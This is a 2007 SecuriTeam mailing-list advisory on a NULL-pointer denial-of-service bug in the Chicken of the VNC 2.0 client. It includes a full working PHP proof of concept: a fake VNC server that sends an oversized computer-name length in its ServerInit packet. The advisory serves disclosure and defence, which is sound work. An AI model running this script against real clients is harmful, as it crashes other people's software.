

[EXPL] Chicken of the VNC DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-02/msg00007.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 4 Feb 2007 16:39:32 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Chicken of the VNC DoS

SUMMARY

" <<http://sourceforge.net/projects/cotvnc/>> Chicken of the VNC is a VNC client for Mac OS X. A VNC client allows one to display and interact with a remote computer screen. In other words, you can use Chicken of the VNC to interact with a remote computer as though it's right next to you."

Cotv 2.0 is prone to a remotely exploitable denial of service vulnerability because it fails to validate the content of ServerInit packets.

DETAILS

A ServerInit packet contains the server's computer name and its size in the following format:

[...]<computer-name-size><computer-name>

Where:

computer-name-size is 4bytes interpreted as unsigned int representing the size in bytes of the computer name and computer-name is a variable size array of bytes representing the computer name

[EXPL] Chicken of the VNC DoS

When Cotv receives a ServerInit packet, it first allocates a buffer by passing computer-name-size to malloc() and then it copies computer-name to the newly allocated memory.

The problem is that Cotv doesn't validate the pointer returned by malloc() so it's possible that a NULL-pointer will be used as the first parameter of memcpy() causing the program to crash.

A proof-of-concept is attached, run that PHP script and connect Cotv to it with a blank password (disable vnc auth)

Proof of concept:

<?

```
$port = "5900";
```

```
$BadServerInit=
```

```
"\x04\x00". // fb-width
```

```
"\x03\x00". // fb-hight
```

```
"\x20". // bits per pixel
```

```
"\x18". // depth
```

```
"\x00". // big-endian flag
```

```
"\x01". // true-color flag
```

```
"\x00\xff\x00\xff\x00\xff". // r-g-b max
```

```
"\x10\x08\x00". // r-g-b shift
```

```
"\x00\x00\x00". // padding
```

```
"\xff\xff\xff\xff". // computer-name size
```

```
"DIE_PLZ"; // computer-name
```

```
$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
```

```
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
```

```
socket_bind($ser,"0.0.0.0", $port);
```

```
socket_listen($ser, 5);
```

```
print "this fake vnc server will crash cotv2.0
```

```
(http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer  
dereference
```

```
02-02-2007 poplix [ @ ] papuasiasia.org
```

```
listening on $port ... \n";
```

```
$cotv = socket_accept($ser);
```

```
print "client connected\n";
```

```
socket_write($cotv, "RFB 00 3.008\n");
```

```
while($i=socket_read($cotv, 1024))
```

```
if(substr($i,0,6) == "RFB 00") break;
```

```
print "protocol has been negotiated\n";
```

[EXPL] Chicken of the VNC DoS

```
socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024))
if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);

socket_close($cotv);

socket_close($ser);

print "done\n";
?>
# EOF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:poplix@xxxxxxxxxxxxxx>> poplix.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.